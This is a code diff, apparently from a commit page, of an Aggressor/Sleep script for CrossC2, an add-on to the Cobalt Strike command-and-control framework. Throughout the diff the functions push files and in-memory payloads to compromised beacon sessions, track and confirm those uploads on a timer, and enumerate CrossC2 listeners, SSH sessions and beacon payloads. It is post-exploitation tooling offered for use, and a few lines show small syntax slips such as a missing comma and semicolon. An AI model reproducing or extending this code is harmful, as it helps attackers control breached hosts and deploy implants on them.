@@ -133,7 +133,7 @@ sub bcrossc2_load_dyn_pro {
133133 berror($beaconid, "[ CrossC2 ]: dynamic lib or executable filetype not found");
134134 }
135135 $ELFName = genTaskinfo_dyn($taskType, $taskName, $taskResType, $taskNeedRun, $taskNeedPersistence, $taskXorKey, $juicySize, $taskArgs);
136- bupload_raw($beaconid,$ELFName,$juicyData);
136+ bupload_raw! ($beaconid,$ELFName,$juicyData);
137137}
138138
139139sub bcrossc2_load_dyn {
@@ -163,7 +163,7 @@ sub bcrossc2_load_dyn {
163163 berror($beaconid, "[ CrossC2 ]: dynamic lib or executable filetype not found");
164164 }
165165 $ELFName = genTaskinfo_dyn($taskType, $taskName, $taskResType, $taskNeedRun, $taskNeedPersistence, $taskXorKey, $juicySize, $taskArgs);
166- bupload_raw($beaconid,$ELFName,$juicyData);
166+ bupload_raw! ($beaconid,$ELFName,$juicyData);
167167}
168168
169169sub brun_script_in_mem {
@@ -187,5 +187,192 @@ sub brun_script_in_mem {
187187 $juicySize = lof($loadFileName);
188188
189189 $scriptName = genMemScriptInfo($scriptType, $scriptEngPath, $taskResType, $juicySize, $taskArgs);
190- bupload_raw($beaconid,$scriptName,$juicyData);
190+ bupload_raw!($beaconid,$scriptName,$juicyData);
191+ }
192+
193+ @fileupload_list = @();
194+ global(@fileupload_list);
195+ sub bawait_upload {
196+ local('$bid $file_lpath $file_rpath $file_rname $file_data $file_size $cb $handle $file_list_count');
197+ $bid = $1;
198+ $file_lpath = $2;
199+ $file_rpath = $3;
200+ $file_rname = $4;
201+ $cb = $5;
202+ $cb_args = $6;
203+ $handle = openf($file_lpath);
204+ $file_data = readb($handle, -1);
205+ closef($handle);
206+ $file_size = lof($file_lpath);
207+
208+ btask($bid, 'upload file '.$file_lpath.' to '.$file_rpath.$file_rname);
209+
210+ $file_list_count = size(@fileupload_list);
211+ add(@fileupload_list, @($bid, $file_lpath, $file_rpath, $file_rname, $file_size, $cb, $cb_args, 'false' 'false'));
212+ bupload_raw!($bid, $file_rpath.'/'.$file_rname, $file_data);
213+ }
214+
215+ sub bawait_upload_raw {
216+ local('$bid $file_lpath $file_rpath $file_rname $file_data $file_size $cb $handle $file_list_count');
217+ $bid = $1;
218+ $file_data = $2;
219+ $file_rpath = $3;
220+ $file_rname = $4;
221+ $cb = $5;
222+ $cb_args = $6;
223+ $file_size = strlen($file_data);
224+ $file_lpath = random_string(10);
225+
226+ btask($bid, 'upload rawData file-['.$file_lpath.'] to '.$file_rpath.$file_rname);
227+
228+ $file_list_count = size(@fileupload_list);
229+ add(@fileupload_list, @($bid, $file_lpath, $file_rpath, $file_rname, $file_size, $cb, $cb_args, 'false' 'false'));
230+ bupload_raw!($bid, $file_rpath.'/'.$file_rname, $file_data);
231+ }
232+
233+ sub bcheck_file_size {
234+ this('$bid $file_path $file_name $file_size $realsize $name $temp $f_rname $f_match_size ');
235+ $bid = $1;
236+ $file_path = $2;
237+ $file_name = $3;
238+ $file_size = $4;
239+
240+ bls($bid, $file_path, lambda({
241+ this('@lines @subl $type $s $lastmod $name');
242+ this('$file_name $file_size $realsize $f_key $f_value $f_rname')
243+ @lines = split("\n", ["$3" trim]);
244+ @subl = sublist(@lines, 1);
245+ foreach $temp (@subl) {
246+ ($type, $s, $lastmod, $name) = split("\t", $temp);
247+ if ($name eq $file_name) {
248+ $realsize = long($s);
249+ if ($realsize >= $file_size) {
250+ foreach $f_key => $f_value (@fileupload_list) {
251+ $f_rname = $f_value[3];
252+ if ($name eq $f_rname) {
253+ @fileupload_list[$f_key][7] = 'true';
254+ break;
255+ }
256+ }
257+ }
258+ break;
259+ }
260+ }
261+ }, $file_name => $file_name, $file_size => $file_size)
262+ );
263+ }
264+ on heartbeat_1s {
265+ local('$f_key $f_value $f_bid $f_lpath $f_rpath $f_rname $f_size $f_func $f_match_size');
266+ if (size(@fileupload_list) > 0) {
267+ foreach $f_key => $f_value (@fileupload_list) {
268+ $f_bid = $f_value[0];
269+ $f_lpath = $f_value[1];
270+ $f_rpath = $f_value[2];
271+ $f_rname = $f_value[3];
272+ $f_size = $f_value[4];
273+ $f_cb = $f_value[5];
274+ $f_cb_args = $f_value[6];
275+ $f_match_size = $f_value[7];
276+ $f_cb_runed = $f_value[8];
277+
278+ if ($f_match_size eq 'false') {
279+ bcheck_file_size($f_bid, $f_rpath, $f_rname, $f_size);
280+ }
281+ if ($f_match_size eq 'true') {
282+ if ($f_cb_runed eq 'false') {
283+ @fileupload_list[$f_key][8] = 'true';
284+ [$f_cb: $f_bid, $f_cb_args];
285+ break;
286+ }
287+ }
288+ }
289+ foreach $f_key => $f_value (@fileupload_list) {
290+ $f_match_size = $f_value[7];
291+ if ($f_match_size eq 'true') {
292+ removeAt(@fileupload_list, int($f_key));
293+ break;
294+ }
295+ }
296+ }
297+ }
298+
299+ ssh_alias list_uploadingFile {
300+ println(@fileupload_list);
301+ $bid = $1;
302+ local('$f_key $f_value $f_bid $f_lpath $f_rpath $f_rname $f_size $f_func $f_match_size');
303+ if (size(@fileupload_list) > 0) {
304+ foreach $f_key => $f_value (@fileupload_list) {
305+ $f_bid = $f_value[0];
306+ $f_lpath = $f_value[1];
307+ $f_rpath = $f_value[2];
308+ $f_rname = $f_value[3];
309+ $f_size = $f_value[4];
310+ $f_cb = $f_value[5];
311+ $f_cb_args = $f_value[6];
312+ $f_match_size = $f_value[7];
313+ $f_cb_runed = $f_value[8];
314+ blog($bid, $f_lpath);
315+ }
316+ }
317+ }
318+
319+ sub getCrossC2Site {
320+ local('%beacon_site $beacon_count $Description, $Proto, $Host, $Port, $URI');
321+ %beacon_site = %();
322+ $beacon_count = 0;
323+ foreach $site_list(sites()) {
324+ ($Description, $Proto, $Host, $Port, $URI) = values($site_list, @('Description', 'Proto', 'Host', 'Port', 'URI'));
325+ if ("CrossC2" isin $Description) {
326+ $beaconURL = $Proto.$Host.':'.$Port.$URI;
327+ # 返回beacon_uri & beacon_description
328+ %beacon_site[$beacon_count] = @($Description, $beaconURL);
329+ $beacon_count += 1;
330+ }
331+ }
332+ return %beacon_site;
333+ }
334+
335+ sub getCrossC2Listener {
336+ local('%beacon_listener $beacon_count');
337+ %beacon_listener = %();
338+ $beacon_count = 0;
339+ foreach $listener(listeners_local()) {
340+ if ("CrossC2" isin $listener) {
341+ %beacon_listener[$beacon_count] = @($listener);
342+ $beacon_count += 1;
343+ }
344+ }
345+ return %beacon_listener;
346+ }
347+
348+ sub getSSHSession {
349+ local('%sessionMap $sessionCount');
350+ %sessionMap = %();
351+ $sessionCount = 0;
352+ foreach $beacon (beacons()) {
353+ ($internal, $computer) = values($beacon, @('internal', 'computer'));
354+ $tempMenuBar = $internal."@".$computer;
355+ if (!-isactive $beacon['id']) {
356+ } else if (-isssh $beacon['id']) {
357+ %sessionMap[$sessionCount] = @($tempMenuBar);
358+ $sessionCount += 1;
359+ }
360+ }
361+ return %sessionMap;
362+ }
363+
364+ sub getCrossC2Beacon {
365+ local('$listener $type $beaconData');
366+ $listener = $1;
367+ $type = $2;
368+
369+ $beaconData = $null;
370+ if ($listener && $type) {
371+ if ($type eq 'lib') {
372+ $beaconData = listener_info($listener)['CrossC2libBeacon'];
373+ } else if ($type eq 'main') {
374+ $beaconData = listener_info($listener)['CrossC2Beacon'];
375+ }
376+ }
377+ return $beaconData;
191378}
0 commit comments